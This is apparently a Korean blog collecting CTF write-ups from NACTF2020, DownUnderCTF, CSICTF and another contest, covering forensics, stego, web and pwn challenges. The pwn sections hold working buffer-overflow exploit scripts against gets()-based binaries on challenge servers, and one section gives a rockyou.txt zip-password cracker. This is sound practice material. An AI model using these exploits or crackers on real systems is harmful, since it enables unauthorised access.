# p = process('./whats_your_name_two')
p = remote('159.223.166.39', 9008)
# sleep(10)

p.sendlineafter(b'name ? ', payload)

p.interactive()

놀랍게도 포너블은 이 3문제밖에 나오지 않았다...

Programming

Keep Calculating (25pts)

https://user-images.githubusercontent.com/48816875/150948780-1c4baa58-214f-4290-9fd6-ab842f525183.png

pseudo code를 실제 코드로 작성하는 방식의 문제들이었다.

'''
Let x = 1
Let y = 2
Let answer += (x * y) + xy [here xy = 12]
Repeat this calculation till you have x = 666
The final answer will be the flag when x = 666
'''

y = 2
result = 0

for i in range(1,667):
    result += (i * y) + int(str(i) + str(y))

print(result)

결과값은 2666664 이다.

MISC

Broken Datasheet (100pts)

https://user-images.githubusercontent.com/48816875/150949349-fc60b08e-c9c3-4562-94b2-d4131034acef.pngUntitled

엑셀로 열어서 Ctrl+F를 이용해 KCTF 문자열을 검색해 찾았다.

(플래그를 읽어보면 zip이 들어간걸로 보아 압축해제하고 구성 파일들을 살펴봄으로 플래그를 획득하는 방향을 기획한 것 같은데 실제로 문제풀 때 30분동안 zip으로 해제하고 아무리 찾아봐도 플래그를 찾을 수 없었다...)

Unzip Me (100pts)

https://user-images.githubusercontent.com/48816875/150949617-56d8ecab-d761-40ee-bdc9-9fe1bdb5fc40.pnghttps://user-images.githubusercontent.com/48816875/150950213-04ae567a-91cd-4e18-a92d-ed551bf94070.png

문제로 받은 tar.gz 압축파일을 압축해제하면 unzipme 파일을 준다.

https://user-images.githubusercontent.com/48816875/150950347-2a371930-ce78-4b6a-bd5b-278fd1e2dff9.png

unzipme 파일을 010editor로 열어보면 다음과 같이 압축파일이 2바이트씩 앞뒤가 바뀌어있는 것을 확인할 수 있다.

data1 = ''
data2 = ''

with open("unzipme", "rb") as f:
    data = f.read()
    for i in range(len(data)):
        if i % 2 == 0:
            data1 += chr(data[i])
        else:
            data2 += chr(data[i])

for i in range(len(data1)):
    print(data2[i] + data1[i], end='')

다음과 같이 코드를 짜면 플래그를 읽을 수 있다.

Steganography

Follow The White Rabbit (25pts)

https://user-images.githubusercontent.com/48816875/150950716-bd923bbc-fa15-462e-a97c-2dd3a9b06fe1.pnghttps://user-images.githubusercontent.com/48816875/150950868-71bbcb28-ac62-42f2-947d-a914a677533a.png

stegsolve 툴을 이용해 다음과 같은 이미지를 획득할 수 있다.

아래 모스부호로 보이는 부호가 보이기 때문에 모스부호 디코더를 이용하여 디코딩하면 플래그를 획득할 수 있다.

https://user-images.githubusercontent.com/48816875/150951347-a329a9b7-be82-4b35-ba1a-11d8bcd6e91c.png

Digital Forensics

Unknown File (50pts)

https://user-images.githubusercontent.com/48816875/150951478-55586ff8-53e2-4266-891e-47967a56e75b.pnghttps://user-images.githubusercontent.com/48816875/150951717-e04bbd74-6336-4bda-9f14-f457bf8f7ea5.png

다운 받은 파일을 010editor로 열어보면 IHDR, sRGB, pHYs 등 PNG파일을 구성하는 요소들이 보인다. 반면, PNG 헤더 시그니처인 89504E47 0D0A1A0A 중 뒷부분인 0D0A1A0A밖에 존재하지 않기 때문에 89504E47로 앞 4바이트를 바꾸어주고 사진을 열면 플래그를 획득할 수 있다.

https://user-images.githubusercontent.com/48816875/150952119-6ec3d56b-c2ac-4d25-91e7-0b6f24d62471.png

Let’s Walk Together (50pts)

https://user-images.githubusercontent.com/48816875/150952199-488da506-3e29-4883-8cfa-ca298971813f.pnghttps://user-images.githubusercontent.com/48816875/150952333-3804648b-648d-460e-baf9-9f5590609cf9.png

문제 사진을 보면 binwalk에서 제공해주는 엔트로피 그래프가 있다. binwalk를 사용하길 의도하는 문제같다.

https://user-images.githubusercontent.com/48816875/150952543-ec717383-1d23-45c0-ac22-d065cde81cd9.png

binwalk와 비슷하게 시그니처를 기반으로 파일을 카빙해주는 툴인 foremost를 이용해 파일을 카빙하면 압축파일이 나온다.

https://user-images.githubusercontent.com/48816875/150952679-d7832cb1-14f1-4100-8b3a-72d7b7d7bd3e.png

압축파일에는 비밀번호가 걸려있다.

이 압축파일을 풀 때 아무런 힌트도 없어서 좀 힘들었는데 딕셔너리 어택에 가장 많이 사용되는 rockyou.txt를 이용해 압축파일을 해제하면 된다.

https://user-images.githubusercontent.com/48816875/150953230-1f2ff641-e1bb-491a-a039-0423f37ddcf7.png

[TOC]

NACTF2020 Writeup

Reverse Engineering

Generic Flag Checker 1

헥스 에디터를 이용하면 보임

Generic Flag Checker 2

gdb 돌리면 비교구문에서 플래그 뽑아줌

General Skills

Intro to Flags

고냥 알려줌

Basic

base64 decoding 하면 플래그 나옴

Grep o

리눅스 그렙 명령어를 쓰길 바란거 같음 하지만 그냥 메모장에서 Ctrl+F 해서 찾았음...

Numbers

다음과 같은 숫자 배열을 줌 ⇒ ascii 코드라고 생각 후 변환

다음과 같은 문자열 반환 ⇒ obdug 를 한칸 씩 밀면 nactf

이걸 몰라서 헤매다가 같이 풀던 형이 찾아줌 ㅎㅎ;;;

Hashbrowns

Hashbrowns 이름부터 hash 냄새가 폴폴 그 중에서도 md5해쉬 냄새가 폴폴

온라인 디코더 적당히 찾아서 디코딩 해주면 secure_password 문자열 반환 플래그 포맷인 nactf{}로 감싸주면 인증 성공

Arithmetic

숫자 크기와 더했을 때 작은 숫자 나오는 걸 보고 Integer Overflow를 생각I

32bit 넘어가게 해주고 하위 6bit를 42값인 101010으로 맞춰준디 10진수로 변환하고 빼주면 됨

Zip Madness

이름처럼 광기의 압축파일임

압축해제를 해보면 알겠지만 숫자는 압축을 얼마나 했는지고 direction.txt로 다음으로 어떤 파일을 압축해제해야할지 결정해줌.

import zipfile
import zlib
import subprocess

for i in range(1000,0,-1):
    direction = subprocess.check_output(['cat', 'direction.txt']).decode()
    zipf = str(i) + direction
    subprocess.check_output(['unzip', '-o', zipf])

짧은 코드를 짜 해결할 수 있음

Binary Exploitation

Greeter

#include <stdio.h>
#include <stdlib.h>

void win() {
    puts("congrats! here's your flag:");
    char flagbuf[64];
    FILE* f = fopen("./flag.txt", "r");
    if (f == NULL) {
        puts("flag file not found!");
        exit(1);
    }
    fgets(flagbuf, 64, f);
    fputs(flagbuf, stdout);
    fclose(f);
}

int main() {
    /* disable stream buffering */
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char name[64];

    puts("What's your name?");
    gets(name);
    printf("Why hello there %s!\n", name);

    return 0;
}

greeter.c 파일

name 버퍼는 64바이트인데 입력은 gets함수로 제한이 없음

BOF를 이용해 ret를 win()함수 주소로 덮으면 해결

from pwn import *

# p = process('./greeter')
p = remote('challenges.ctfd.io' ,30249)

win = 0x401220

payload = b'A'*0x48
payload += p64(win)

p.recvuntil('?')

p.sendline(payload)

p.interactive()

Forensics

Gummies

별다른 흔적이 보이지 않아 steghide를 돌리다가 왼쪽위에 작은 하얀 점들이 거슬렸음

전형적인 LSB 스테가노그래피 문제

Meta-morphosis

그냥 헥스로 여니까 나왔음 왜 이게 Gummy 문제보다 점수가 높지...?

Turnips

요 문제도 헥스로 여니까 나옴,,.

Secret Message

듣자마자 그냥 모스부호였음

이렇게 나왔는데 인증이 안되길래 u33n을 보고 혹시 queen이라는 단어에서 q가 잘린게 아닐까 하고 붙여보니 인증성공

Turnips 2

헥스 에디터로 열어보니 89로 시작하는거보고 아 png파일이네 싶었음

확장자와 헤더 시그니처를 맞춰줌. 그리고 바로 옆에 IHDR로 의심되는 청크가 있는걸로 보아 청크도 부셔논것 같았음

즉당히 고쳐주면 플래그 획득

Web

Inspect

style.css 소스코드에 주석으로 플래그

Missing Image

flag.png가 오려다가 404error와 함께 표시되질 않음

그래서 경로로 가서 찾아옴

Forms

문제에 1000이라는 숫자가 써져있는데 로그인 폼이 1000개 존재함 (정신나갈것같에)

함수 제일 마지막 부분을 보면 user == admin && pass == password123 이어야 함 하지만 1 ~ 1000 중 이 파라미터를 넘겨주는 폼은 한개밖에 존재하지 않음...

함수명으로 찾아보면 form 673에만 함수가 존재하는것을 확인할 수 있음

록으인

DownUnderCTF Writeup

Forensics

On the spectrum

On the spectrum

의식의 흐름

wav파일 → audacity 툴 사용

문제이름 → spectrum → spectrogram

flag

Spot the Difference

Spot the Difference
/Publish

문제 폴더

/Publish/.config/Reminder.png

/.config 폴더에 깨져있는 파일 발견

Reminder.png

IHDR, IDAT 청크가 있는걸로 보아 PNG 파일

따라서 zip파일 시그니처인 50 4B 03 04를 → 0D 0A 1A 0A는 그대로 존재하므로 89 50 4E 47 로 변경

Reminder.png

고쳐서 사진을 보면 암호화된 비밀번호에 1cmVQ라는 문자열이 삽입되어있다고 함

/Publish/.config/secret

해당 사진 파일과 같은 디렉토리에 secret 디렉토리 존재

해당 디렉토리 안에는 40개의 폴더 각각 40개의 txt파일을 포함

get password by /Publish/.config/secret

다음과 같이 리눅스로 환경을 옮겨 위 사진과 같은 명령어를 사용

인코딩 방식은 base64였으므로 해제하면 1234IsASecurePassword라는 비밀번호를 얻을 수 있음

이 비밀번호는 문제에 steghide를 언급했으므로 steghide의 비밀번호라는 것을 유추 가능

 

/Publish/badfiles

steghide를 사용할 사진을 찾다 badfiles안 여러가지 이미지를 발견 steghide가 사용된 사진파일이 이 중 하나라고 게싱

import subprocess

lslist = subprocess.check_output(['ls']).decode().split('\n')

for i in lslist:
    try:
        print(i)
        subprocess.check_output('steghide extract -sf %s -p "1234IsASecurePassword"' % i, shell=True)
    except:
        pass

다음과 같은 파이썬 코드를 짜 돌림

run steghide.py

다음과 같이 특정 이미지에 SecretMessage.txt가 숨어있는것을 발견

flag

해당 파일을 읽으면 플래그 획득

Web

Legos

Leggos

pasta, sauce 대부분 그냥 소스코드 읽으면 플래그를 주는 경우 허다함

flag

개발자모드를 열어 disableMouseRightClick.js 소스코드 안 주석으로 플래그가 존재

Misc

16 Home Runs

16 Home Runs

저 문자열 끝에 = 있음 base64임

대충 문제 의도를 보자면 야구의 홈런은 4루타이니 16*4 = 64로 base64쓰라는 뜻인것 같았음

킹무튼 디코딩 돌리면 플래그 줌

Pwn

Shell this!

Shell this!

#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
void setup() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

void get_shell() {
    execve("/bin/sh", NULL, NULL);
}

void vuln() {
    char name[40];

    printf("Please tell me your name: ");
    gets(name);
}

int main(void) {
    printf("Welcome! Can you figure out how to get this program to give you a shell?\n");
    vuln();
    printf("Unfortunately, you did not win. Please try again another time!\n");
}

shellthis.c 파일

name 버퍼 40byte인데 gets 함수를 이용해 입력받으므로 BOF 발생

따라서 RET주소를 get_shell()로 변경해주면 쉘을 딸 수 있음

gdb shellthis

gets 함수에 인자를 전달하는걸로 보아 name의 버퍼위치는 rbp-0x30

0x30[name]+0x8[SFP]만큼의 버퍼를 주고 get_shell()주소를 주면 쉘을 딸 수 있을 듯

from ptrlib import *

e = ELF("./shellthis")

p = remote('chal.duc.tf', 30002)

p.recvuntil('name:')

get_shell_addr = e.symbol("get_shell")

payload = b'A'* (0x30+0x8)
payload += p64(get_shell_addr)

p.sendline(payload)

p.interactive()

페이로드

flag

두번째 문제 return-to-what도 풀고싶었으나 64bit ret2libc를 해본 경험이 없어 못 품 ㅠ

reversing

formatting

formatting

매우 쉽다고 하는데 어려웠음 나는 ㅎㅎ....

그래서 거의 야매로 품

flag

그냥 gdb로 열고 main에 bp건 다음 ni만 엄청 누름

그러면 stack쪽에 플래그가 올라옴

CSICTF Writeup

PWN

포너블은 대회가 끝나니 nc서버라든지 따로 기록해둔것이 없어 플래그를 뽑아내지는 못했다 ㅠㅠ... 대신 남아있는 파일을 이용하여 롸업을 작성한다. 익스코드에 대해서는 프로세스만 리모트로 바꾸어 때려주면 다 정상적으로 플래그를 뽑아주었었다.

pwn-intended-0x1

첫번째 문제라 일단 긴 문자열을 때려넣었더니 풀렸다.

pwn-intended-0x2

pwn-intended-0x2 파일을 까보았다.

대충 보면 [rbp-0x30] 에서 입력을 받기 시작하고 [rbp-0x4]에서 0xcafebabe라는 값과 비교를 하여 맞으면 시스템 함수를 호출하는 구조인 것 같다.

아래는 exploit.py이다.

from pwn import *

p = process('pwn-intended-0x2')
p.recvline()

stackcookie = 0xcafebabe

exploit = 'A'*44
exploit += p32(stackcookie)

print(exploit)

p.sendline(exploit)
p.interactive()

pwn-intended-0x3

pwn-intended-0x3에 사용된 함수 목록이다. main과 flag가 눈에 들어온다.

main함수 부분을 보자

[rbp-0x20] 부분부터 버퍼가 시작되는 것을 알 수 있다.

대략 예상 스택 생김새는 아래와 같을 것이다.

buf[0x20byte] + SFP[0x8byte] + RET[0x6byte]

그럼 익스 코드 모양은 이렇겠지...?

dummy[0x20byte] + dummy[0x8byte] + FlagAddr[RET]

아래는 익스코드

from pwn import *


p = process('./pwn-intended-0x3')
p.recvline()

flagaddr = 0x4011ce


exploit = 'A'*40
exploit += p64(flagaddr)

print(exploit)

p.sendline(exploit)
p.interactive()


Digital Forensic

sky.jpg

아름다운 사진이다. 하지만 우리는 컴퓨터를 공부하는 사람이므로 사진말고 데이터를 보자.... 헥스에디터로 열어보았다.

ctf를 문자열로 검색을 했더니 flag가 나왔다.

flag : csictf{j0ker_w4snt_happy}

arched.png

음 아크 리눅스사진이다. steghide라는 툴을 쓸건데 왜 썻냐고는 묻지 말아주세요 ㅠㅠ 문제에 what is he hiding이라는 글귀가 있어서 게싱한겁니다...ㅎ;

flag.zip파일을 주었다.

근데 압축을 해제하려니 비밀번호가 걸려있다.

이럴 경우 파일 설명란이나 헥스에디터 값에 비밀번호나 비밀번호 힌트가 삽입되어 있는 경우가 많다.

아니나 다를까 이상한 문자열이 있다. We will, We will, ROCKYOU! 라는 문자열이 삽입되어 있다.

이 문자열이 힌트인데 Brute Force라고도 불리는 무작위 대입 공격을 실행할 때 rockyou.txt라는 딕셔너리 파일을 이용한 사전 대입 공격을 할 수 있다. 칼리를 쓰는 나로써는 매우 편할수 없었다. rockyou.txt는 칼리에서 /usr/share/wordlists/ 위치에 디렉토리로 가면 rockyou.txt.gz 파일이 있는데 압축 해제만 해주면 rockyou.txt 딕셔너리 파일을 제공해준다. 이 파일을 이용해 사전 대입 공격을 실행해주면 된다.

아래는 구글링하고 참고하여 짠 사전 대입 공격을 해주는 파이썬 코드이다.

import zipfile
import zlib

zipf = str(input('input unzip file : '))
dictionary = str(input('input dictionary file : '))

with zipfile.ZipFile(zipf,'r') as archive:
    first = archive.infolist()[0]
    print("-----reading-----", first.filename)
    with open(dictionary) as dic:
        for line in dic:
            word = line.strip().encode('ASCII')
            print('Trying word : ' , word.decode())
            try:
                with archive.open(first, 'r', pwd=word) as member:
                    text = member.read()
                print('password :' ,word)
                break
            except (RuntimeError, zlib.error, zipfile.BadZipFile):
                pass

위 코드를 이용하여 다음과 같이 패스워드를 찾을 수 있었다.

이 비밀번호를 이용하여 압축을 해제하면 다음과 같이 meme.jpg라는 플래그를 포함한 사진을 준다.

+ Recent posts